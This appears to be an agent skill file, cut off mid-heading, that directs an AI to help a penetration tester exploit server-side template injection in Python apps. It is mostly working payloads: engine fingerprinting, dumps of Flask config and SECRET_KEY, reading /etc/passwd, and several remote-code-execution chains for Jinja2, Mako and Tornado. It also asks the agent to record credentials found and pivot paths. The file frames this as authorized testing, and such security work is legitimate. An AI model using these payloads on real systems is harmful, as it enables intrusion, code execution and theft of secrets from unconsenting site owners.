/ssti-jinja2

name: ssti-jinja2
description: >
  Guide Jinja2/Python server-side template injection exploitation during
  authorized penetration testing.
keywords:
  - Jinja2 SSTI
  - Flask SSTI
  - Python template injection
  - "{{7*'7'}} returns 7777777"
  - Mako SSTI
  - Tornado template injection
  - Django template injection
  - sandbox escape Jinja2
  - __class__.__mro__
  - Python sandbox bypass
tools:
  - burpsuite
  - sstimap
  - tplmap
  - fenjing
opsec: medium

Jinja2 / Python SSTI

You are helping a penetration tester exploit server-side template injection in a Python application. The target uses Jinja2 (Flask), Mako, Tornado, or Django templates and processes attacker-controlled input through the template engine without proper sanitization. The goal is to escalate from template expression evaluation to remote code execution, file access, or secret extraction. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[ssti-jinja2] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Confirmed template expression evaluation: `{{7*7}}` returns `49`
• If `{{7*'7'}}` returns `7777777`, the engine is Jinja2. If it returns `49`,

route to **ssti-twig**.

• If `${7*7}` works but `{{7*7}}` does not, check for Mako (`${ }` syntax).
• If `{% import os %}{{os.system('id')}}` works directly, the engine is Tornado.

Step 1: Assess

If not already provided, determine: 1. **Framework** — Flask, Django, Tornado, or custom (check error pages, headers) 2. **Template engine** — Jinja2, Mako, Tornado, Django Templates 3. **Injection point** — URL param, form field, header, filename, etc. 4. **Sandbox restrictions** — Are `_`, `.`, `[]`, `|`, `{{` filtered?

Skip if context was already provided.

Step 2: Engine Identification

Jinja2 (Flask)

{{7*7}}         # 49
{{7*'7'}}       # 7777777 (string repetition = Jinja2)
{{config}}      # Flask config object (SECRET_KEY, DB credentials)
{{request}}     # Flask request object

Mako

${7*7}          # 49 (uses ${ } syntax)
<%import os%>${os.popen('id').read()}  # Direct Python execution

Tornado

{{7*7}}         # 49
{%import os%}{{os.system('id')}}   # Direct import

Django Templates

{{7*7}}                              # Error (Django doesn't evaluate expressions)
{% csrf_token %}                     # Works in Django, errors in Jinja2
{% debug %}                          # Dumps context variables
{{ messages.storages.0.signer.key }} # Leaks SECRET_KEY

Step 3: Information Extraction (Jinja2/Flask)

Dump Configuration

{{ config.items() }}
{{ config['SECRET_KEY'] }}
{{ config['SQLALCHEMY_DATABASE_URI'] }}

Dump All Available Context

{% debug %}
{{ self.__dict__ }}
{{ request.environ }}
{{ request.application.__self__._get_data_for_json.__globals__ }}

Read Files (via Flask helpers)

{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

Step 4: RCE — Jinja2

Shortest Known Payload (lipsum)

{{ lipsum.__globals__["os"].popen('id').read() }}

Context-Free Payloads (no __builtins__ needed)

These work in any Jinja2 template — no Flask-specific objects required:

{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Classic __builtins__ Chain

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

MRO Chain (subclass walk — index varies per Python version)

# Find subprocess.Popen index
{{ ''.__class__.__mro__[1].__subclasses__() }}

# Execute (index 396 is an example — varies per environment)
{{ ''.__class__.mro()[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip() }}

Without Guessing Subclass Index

{% for x in ().__class__.__base__.__subclasses__() %}
  {% if "warning" in x.__name__ %}
    {{ x()._module.__builtins__['__import__']('os').popen('id').read() }}
  {% endif %}
{% endfor %}

Parameterized via GET (command in `?input=id`)

{% for x in ().__class__.__base__.__subclasses__() %}
  {% if "warning" in x.__name__ %}
    {{ x()._module.__builtins__['__import__']('os').popen(request.args.input).read() }}
  {% endif %}
{% endfor %}

Blind RCE (force output via Flask hooks)

{{ x.__init__.__builtins__.exec("from flask import current_app, after_this_request
@after_this_request
def hook(*args, **kwargs):
    from flask import make_response
    r = make_response('Powned')
    return r
") }}

Step 5: RCE — Other Python Engines

Mako

Direct Python execution — no sandbox to escape:

<%import os%>${os.popen('id').read()}

# Context-free (shorter)
${self.module.cache.util.os.popen('id').read()}
${self.module.runtime.util.os.popen('id').read()}

Tornado

{% import os %}{{ os.popen('id').read() }}

Django Templates (limited —